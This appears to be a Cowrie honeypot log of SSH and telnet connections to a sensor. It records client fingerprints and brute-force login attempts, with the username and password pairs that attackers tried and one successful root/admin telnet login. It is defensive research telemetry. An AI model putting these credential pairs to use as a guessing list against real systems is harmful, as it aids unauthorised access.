{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:09.067057Z","src_ip":"103.172.78.219","session":"2ce25259b2cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:09.339729Z","src_ip":"103.172.78.219","session":"2ce25259b2cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111281","message":"login attempt [root/111281] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:10.160660Z","src_ip":"103.172.78.219","session":"2ce25259b2cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:11.436014Z","src_ip":"103.172.78.219","session":"2ce25259b2cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":39206,"dst_ip":"159.203.135.109","dst_port":22,"session":"af80ca19f31e","protocol":"ssh","message":"New connection: 185.113.139.51:39206 (159.203.135.109:22) [session: af80ca19f31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:16.856820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:16.861315Z","src_ip":"185.113.139.51","session":"af80ca19f31e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:16.962912Z","src_ip":"185.113.139.51","session":"af80ca19f31e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123+","message":"login attempt [root/abc123+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:17.396330Z","src_ip":"185.113.139.51","session":"af80ca19f31e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:18.499398Z","src_ip":"185.113.139.51","session":"af80ca19f31e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49760,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b6de3ec6e96","protocol":"telnet","message":"New connection: 170.64.224.25:49760 (159.203.135.109:23) [session: 0b6de3ec6e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:22.213257Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":53408,"dst_ip":"10.17.0.5","dst_port":22,"session":"d06a999c80b3","protocol":"ssh","message":"New connection: 185.243.11.39:53408 (10.17.0.5:22) [session: d06a999c80b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:23.747453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:23.751970Z","src_ip":"185.243.11.39","session":"d06a999c80b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:23.844213Z","src_ip":"185.243.11.39","session":"d06a999c80b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.60842800140381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:23.943012Z","src_ip":"170.64.224.25","session":"c8b9151459e3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"huobi","password":"S3cur3$P@ss!W0rd^","message":"login attempt [huobi/S3cur3$P@ss!W0rd^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:24.256936Z","src_ip":"185.243.11.39","session":"d06a999c80b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:25.355708Z","src_ip":"185.243.11.39","session":"d06a999c80b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":58958,"dst_ip":"10.17.0.5","dst_port":22,"session":"023f9fba4aef","protocol":"ssh","message":"New connection: 67.231.24.5:58958 (10.17.0.5:22) [session: 023f9fba4aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:30.019259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:30.029256Z","src_ip":"67.231.24.5","session":"023f9fba4aef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:30.046623Z","src_ip":"67.231.24.5","session":"023f9fba4aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linea2024","message":"login attempt [root/linea2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:30.099236Z","src_ip":"67.231.24.5","session":"023f9fba4aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:31.120752Z","src_ip":"67.231.24.5","session":"023f9fba4aef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":34914,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6357be3d359","protocol":"ssh","message":"New connection: 118.26.36.195:34914 (159.203.135.109:22) [session: b6357be3d359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:44.444712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:44.448953Z","src_ip":"118.26.36.195","session":"b6357be3d359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:44.659819Z","src_ip":"118.26.36.195","session":"b6357be3d359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd!123","message":"login attempt [root/P@ssw0rd!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:45.538570Z","src_ip":"118.26.36.195","session":"b6357be3d359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:46.752989Z","src_ip":"118.26.36.195","session":"b6357be3d359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":43746,"dst_ip":"159.203.135.109","dst_port":22,"session":"864775440747","protocol":"ssh","message":"New connection: 177.76.134.52:43746 (159.203.135.109:22) [session: 864775440747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:47.028409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:47.032105Z","src_ip":"177.76.134.52","session":"864775440747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:47.180017Z","src_ip":"177.76.134.52","session":"864775440747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest2024","message":"login attempt [ftptest/ftptest2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:47.794774Z","src_ip":"177.76.134.52","session":"864775440747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:48.970925Z","src_ip":"177.76.134.52","session":"864775440747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":45352,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dce1eae2741","protocol":"telnet","message":"New connection: 137.184.5.188:45352 (159.203.135.109:23) [session: 7dce1eae2741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:49.795750Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":50526,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbfd31c5a219","protocol":"ssh","message":"New connection: 109.237.96.109:50526 (10.17.0.5:22) [session: bbfd31c5a219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:50.491842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:50.495859Z","src_ip":"109.237.96.109","session":"bbfd31c5a219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:50.584587Z","src_ip":"109.237.96.109","session":"bbfd31c5a219","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16121994","message":"login attempt [root/16121994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:50.853042Z","src_ip":"109.237.96.109","session":"bbfd31c5a219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:30:51.946347Z","src_ip":"109.237.96.109","session":"bbfd31c5a219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.88.19","src_port":46262,"dst_ip":"159.203.135.109","dst_port":23,"session":"41eda861553e","protocol":"telnet","message":"New connection: 94.26.88.19:46262 (159.203.135.109:23) [session: 41eda861553e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:00.264408Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:00.481919Z","src_ip":"94.26.88.19","session":"41eda861553e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:00.530113Z","src_ip":"94.26.88.19","session":"41eda861553e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":40602,"dst_ip":"159.203.135.109","dst_port":22,"session":"0adcd6102f09","protocol":"ssh","message":"New connection: 45.61.148.179:40602 (159.203.135.109:22) [session: 0adcd6102f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:12.562263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:12.565523Z","src_ip":"45.61.148.179","session":"0adcd6102f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:12.628598Z","src_ip":"45.61.148.179","session":"0adcd6102f09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sekip333#","message":"login attempt [root/Sekip333#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:12.921386Z","src_ip":"45.61.148.179","session":"0adcd6102f09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:13.988346Z","src_ip":"45.61.148.179","session":"0adcd6102f09","protocol":"ssh"}
